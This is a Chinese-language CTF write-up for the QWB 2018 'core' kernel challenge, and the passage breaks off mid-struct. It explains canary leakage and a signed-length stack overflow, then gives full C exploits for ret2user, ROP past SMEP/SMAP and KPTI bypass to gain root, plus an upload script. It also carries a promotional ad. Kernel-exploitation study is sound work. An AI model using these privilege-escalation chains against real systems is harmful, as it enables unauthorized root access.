前言
本文介紹Linux核心的棧溢位攻擊,和核心一些保護的繞過手法,透過一道核心題及其變體從淺入深一步步走進kernel世界。
QWB_2018_core
題目分析
start.sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
開啟了kaslr
保護。
如果自己編譯的 qemu 可能會報錯
network backend ‘user‘ is not compiled into this binary
,解決方法就是sudo apt-get install libslirp-dev
,然後重新編譯./configure --enable-slirp
。
init
解壓 core.cpio
(最簡單的方式就是在ubuntu裡,右擊提取到此處),分析 init
檔案:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 載入核心模組core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
-
第 9 行中把
kallsyms
的內容儲存到了/tmp/kallsyms
中,那麼我們就能從/tmp/kallsyms
中讀取commit_creds
,prepare_kernel_cred
的函式的地址了。 -
第 10 行把
kptr_restrict
設為 1,這樣就不能透過/proc/kallsyms
檢視函式地址了,但第 9 行已經把其中的資訊儲存到了一個可讀的檔案中,這句就無關緊要了。 -
第 11 行把
dmesg_restrict
設為 1,這樣就不能透過dmesg
檢視 kernel 的資訊了。 -
第 18 行設定了定時關機,為了避免做題時產生干擾,直接把這句刪掉然後重新打包。
裡面還有一個 gen_cpio.sh 指令碼,用於快速打包。
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
KASLR
:
Kernel Address Space Layout Randomization
(核心地址空間佈局隨機化),開啟後,允許kernel image
載入到VMALLOC
區域的任何位置。在未開啟KASLR保護機制時,核心程式碼段的基址為0xffffffff81000000
,direct mapping area
的基址為0xffff888000000000
。
FG-KASLR
:
Function Granular Kernel Address Space Layout Randomization
細粒度的kaslr
,函式級別上的KASLR
最佳化。該保護只是在程式碼段打亂順序,在資料段偏移不變,例如commit_creds
函式的偏移改變但是init_cred
的偏移不變。
Dmesg Restrictions
:透過設定
/proc/sys/kernel/dmesg_restrict
為1, 可以將dmesg
輸出的資訊視為敏感資訊(預設為0)
Kernel Address Display Restriction
:核心提供控制變數
/proc/sys/kernel/kptr_restrict
用於控制核心的一些輸出列印。
kptr_restrict == 2
:核心將符號地址列印為全 0 , root 和普通使用者都沒有許可權.
kptr_restrict == 1
: root 使用者有許可權讀取,普通使用者沒有許可權.
kptr_restrict == 0
: root 和普通使用者都可以讀取.
core.ko
檢查一下保護。
❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
使用 IDA 繼續分析.ko檔案。
init_module()
註冊了 /proc/core
,core_fops
時其註冊的file_operations
結構體例項,會面會做介紹。
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
exit_core()
刪除 /proc/core
。
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
core_ioctl()
定義了三條命令,分別呼叫 core_read(), core_copy_func()
和設定全域性變數 off
。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_read()
從 v4[off]
複製 64 個位元組到使用者空間,但要注意的是全域性變數 off
是我們能夠控制的,因此可以合理的控制 off
來 leak canary
和一些地址 。
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
/*
* canary儲存在rsp+0x40的位置,
* 我們透過設定off為0x40,即可將其讀取出來。
*/
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func()
從全域性變數 name
中複製資料到區域性變數中,長度是由我們指定的,當要注意的是 qmemcpy
用的是 unsigned __int16
,但傳遞的長度是 signed __int64
,因此如果控制傳入的長度為 0xffffffffffff0000|(0x100)
等值,就可以棧溢位了。
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
// 這裡用的jg判斷,為有符號判斷,0xffffffffffff0000|(0x100) 會判定為負從而繞過。
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 棧溢位。
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
core_write()
向全域性變數 name
上寫,這樣透過 core_write()
和 core_copy_func()
就可以控制 ropchain
了 。
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
字元驅動裝置
核心註冊字元裝置驅動裝置時會用到
file_operations
結構體,file_operations
結構體中的成員函式是字元裝置驅動程式設計的主體內容,結構體中的一些指標比如open()
、write()
、read()
、close()
等系統呼叫時最終會被核心呼叫,我們可以透過指定指標指向的內容修改其預設值為我們自定義的函式,這樣我們在類似read(dev_fd, buf, 0x100)
時就會呼叫我們自定義的my_read
函式。它還有一個指標為
unlocked_ioctl
,我們在使用者態時可以使用系統呼叫ioctl
去訪問控制核心註冊的裝置(ioctl
系統呼叫號為0x10
,由rax
儲存,需要注意的時,系統呼叫和使用者傳參的rdi,rsi,rdx,rcx,r8,r9
不同,系統呼叫第四個傳參暫存器為r10,即rdi,rsi,rdx,r10,r8,r9
)。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
動態除錯
為了動態除錯的方便一些,我們需要做以下工作:
(1)透過qemu append
引數關閉 kaslr
,qemu
提供了-s
引數用於除錯,預設埠為1234
。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
(2)修改init
指令碼將許可權調到 root
。
...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...
(3)啟動qemu
,檢視模組基地址。
/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)
(4)透過 add-symbol-file core.ko textaddr
把 core.ko
符號載入進去。
#!/bin/sh
gdb -q \
-ex "file ./core/vmlinux" \
-ex "file ./core/core.ko" \
-ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
-ex "target remote localhost:1234"
ret2user
顧名思義,即返回到使用者空間的提權程式碼上進行提權,之後返回使用者態即為 root 許可權。
提權方式
這裡只簡單介紹兩種樸素的方法,第一種是透過
commit_creds(prepare_kernel_cred(0))
去提權,不過這種方式已經過時了,不過這道題的核心版本支援這種方法提權,prepare_kernel_cred()會將複製一個新的cred憑證,引數為零預設複製init_cred,其具有root許可權。commit_cred()負責應用到程序。第二種是 commit_cred(&init_cred),原因是init_cred是靜態定義的,我們只要找到
init_cred
地址便可藉助commit_cred
完成提權。我們透過vmlinux-to-elf bzImage vmlinux
解壓並恢復核心部分符號,透過逆向 prepare_kernel_cred() 函式便可輕鬆定位其地址。_DWORD *__fastcall prepare_kernel_cred(__int64 a1) { _DWORD *v1; // rbx int *task_cred; // rbp v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL); if ( !v1 ) return 0LL; if ( a1 ) { task_cred = (int *)get_task_cred(a1); } else { _InterlockedIncrement(dword_FFFFFFFF8223D1A0); task_cred = dword_FFFFFFFF8223D1A0; // init_cred } [......] }
狀態儲存
通常情況下,我們的 exploit
需要進入到核心當中完成提權,而我們最終仍然需要著陸回使用者態以獲得一個 root
許可權的 shell,因此在我們的 exploit 進入核心態之前我們需要手動模擬使用者態進入核心態的準備工作儲存各暫存器的值到核心棧上,以便於後續著陸回使用者態。通常情況下使用如下函式儲存各暫存器值到我們自己定義的變數中,以便於構造 rop 鏈:
gcc 編譯時需要指定引數:
-masm=intel
。
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回使用者態
由核心態返回使用者態只需要:
-
swapgs
指令透過用一個MSR中的值交換GS暫存器的內容,用來獲取指向核心資料結構的指標,然後才能執行系統呼叫之類的核心空間程式,其也用於恢復使用者態 GS 暫存器。 -
sysretq
或者iretq
恢復到使用者空間
那麼我們只需要在核心中找到相應的 gadget
並執行swapgs;iretq
就可以成功著陸回使用者態。
執行 iretq
時的棧佈局。
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
所以我們應當構造如下 rop 鏈以返回使用者態並獲得一個 shell:
↓ swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
利用思路
在未開啟 SMAP/SMEP
保護(後面會講解)的情況下,使用者空間無法訪問核心空間的資料,但是核心空間可以訪問 / 執行使用者空間的資料,所以可以使用ret2user
。題目給的vmlinux
用於提取gadget
可以,但使用IDA分析時太慢,可以用vmlinux-to-elf
解壓bzImage
進行分析。
-
從
/tmp/kallsyms
讀取符號地址,確認與nokaslr
偏移,從vmlinux
尋找gadget
。 -
儲存使用者狀態。
-
透過設定 off 讀取
canary
。 -
於核心態訪問使用者空間的
commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);
提權。 -
透過
swapgs; mov trap_frame, rsp; iretq
返回使用者空間,並執行system("/bin/sh");
。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 儲存的符號地址,這裡儲存的是未開啟kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell()
{
system("/bin/sh");
}
void get_root() {
commit_creds(init_cred);
// commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov rsp, tf_addr;"
"iretq;");
}
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
tf.user_rip = (size_t) get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
/* 計算開啟kaslr後的偏移,重定位相關函式和結構體的地址 */
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(0x40);
char buf[0x40];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
save_status();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(void **) &buf[0x50] = get_root; // 覆蓋返回地址
core_write(buf, sizeof(buf));
// jg 有符號判斷,判其為負數,qmemcpy() 第三個引數取其後16位,導致溢位。
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
編譯exp時需要注意,本機環境編譯的exp可能無法與題目環境互動,需要使用musl-gcc或者相應版本的docker進行編譯,musl-gcc有一些庫不支援,但大部分情況下都是可以的。
打包指令碼
本題提供了打包指令碼,可以直接./gen_cpio.sh ../core_new.cpio
打包即可。如果沒提供可以使用以下命令打包。
find . | cpio -o -H newc > ../rootfs.imgs
打包完成後,改回題目環境,執行指令碼測試即可。傳送至遠端可以使用以下指令碼:
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
除錯
可以看到add rsp, 0x48;pop rbx
後,ret
指令正好執行我們使用者空間的提權程式碼。
kernel rop without KPIT
開啟 smep
和 smap
保護後,核心空間無法執行使用者空間的程式碼,並且無法訪問使用者空間的資料。因此不能直接 ret2user
。利用 ROP
執行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred)
, 然後 iret
返回使用者空間可以繞過上述保護。
新增 smep
和 smap
保護。
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap
smep
:
Supervisor Mode Execution Protection
(管理模式執行保護),當處理器處於ring 0
模式,執行使用者空間的程式碼會觸發頁錯誤。(在arm
中該保護稱為PXN
)
smap
:
Superivisor Mode Access Protection
(管理模式訪問保護),類似於smep
,當處理器處於ring 0
模式,訪問使用者空間的資料會觸發頁錯誤。
利用思路
-
從
/tmp/kallsyms
讀取符號地址,確認與nokaslr
偏移,從vmlinux尋找gadget
。 -
儲存使用者狀態。
-
透過設定
off
讀取canary
。 -
於核心空間
rop
呼叫commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);
提權。 -
透過
swapgs; popfq; ret;
,iretq
返回使用者空間,並執行system("/bin/sh");
。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由於找不到 mov rdi, rax; ret; 這條 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
* 可以清除 call 指令壓入棧中的 rip ,因此相當於 ret 。
* (2)如果使用 commit_creds(init_cred);
* 則只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
rop[it++] = pop_rcx_ret;
// rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop with KPIT
將 CPU 型別修改為 kvm64 後開啟了 KPTI 保護。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
KPTI
:
kernel page-table isolation
,核心頁表隔離,程序頁表隔離。旨在更好地隔離使用者空間與核心空間的記憶體來提高安全性。KPTI
透過完全分離使用者空間與核心空間頁表來解決頁表洩露。一旦開啟了KPTI
,由於核心態和使用者態的頁表不同,所以如果使用ret2user
或核心執行ROP
返回使用者態時,由於核心態無法確定使用者態的頁表,就會報出一個段錯誤。可以利用核心現有的gadget將cr3
與0x1000
異或(第13位置0)來完成從使用者態PGD轉換成核心態PGD。
利用思路
比較簡單的方法是藉助 swapgs_restore_regs_and_return_to_usermode
返回使用者態。該函式是核心在 arch/x86/entry/entry_64.S
中提供的一個用於完成核心態到使用者態切換的函式。當然我們也可以利用核心的gadget
將cr3
的第13位置0(與0x1000異或)來完成從使用者態PGD轉換成核心態PGD。
.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA pop r15
.text:FFFFFFFF81A008DC pop r14
.text:FFFFFFFF81A008DE pop r13
.text:FFFFFFFF81A008E0 pop r12
.text:FFFFFFFF81A008E2 pop rbp
.text:FFFFFFFF81A008E3 pop rbx
.text:FFFFFFFF81A008E4 pop r11
.text:FFFFFFFF81A008E6 pop r10
.text:FFFFFFFF81A008E8 pop r9
.text:FFFFFFFF81A008EA pop r8
.text:FFFFFFFF81A008EC pop rax
.text:FFFFFFFF81A008ED pop rcx
.text:FFFFFFFF81A008EE pop rdx
.text:FFFFFFFF81A008EF pop rsi
/*
* 我們再利用時直接跳到這裡即可,不過 rop 接下來還要有 16 位元組的填充來表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
.text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
.text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
.text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
.text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
.text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B push qword ptr [rdi]
.text:FFFFFFFF81A0090D push rax
.text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953 pop rax
.text:FFFFFFFF81A00954 pop rdi
.text:FFFFFFFF81A00955 swapgs
.text:FFFFFFFF81A00958 jmp native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980 test [rsp+arg_18], 4
.text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989 push rdi
.text:FFFFFFFF81A0098A swapgs
.text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
.text:FFFFFFFF81A009AA mov [rdi], rax
.text:FFFFFFFF81A009AD mov rax, [rsp+8]
.text:FFFFFFFF81A009B2 mov [rdi+8], rax
.text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB mov [rdi+10h], rax
.text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4 mov [rdi+18h], rax
.text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD mov [rdi+28h], rax
.text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6 mov [rdi+20h], rax
.text:FFFFFFFF81A009DA and eax, 0FFFF0000h
.text:FFFFFFFF81A009DF or rax, gs:qword_F008
.text:FFFFFFFF81A009E8 push rax
.text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E pop rax
.text:FFFFFFFF81A00A2F swapgs
.text:FFFFFFFF81A00A32 pop rdi
.text:FFFFFFFF81A00A33 mov rsp, rax
.text:FFFFFFFF81A00A36 pop rax
.text:FFFFFFFF81A00A37 jmp native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
// 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret;
rop[it++] = pop_rcx_ret;
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
利用 pt_regs 構造 rop
qemu啟動指令碼
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
檢視entry_SYSCALL_64
這一用匯編寫的函式內部,注意到當程式進入到核心態時,該函式會將所有的暫存器壓入核心棧上,形成一個 pt_regs
結構體,該結構體實質上位於核心棧底,定義如下:
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
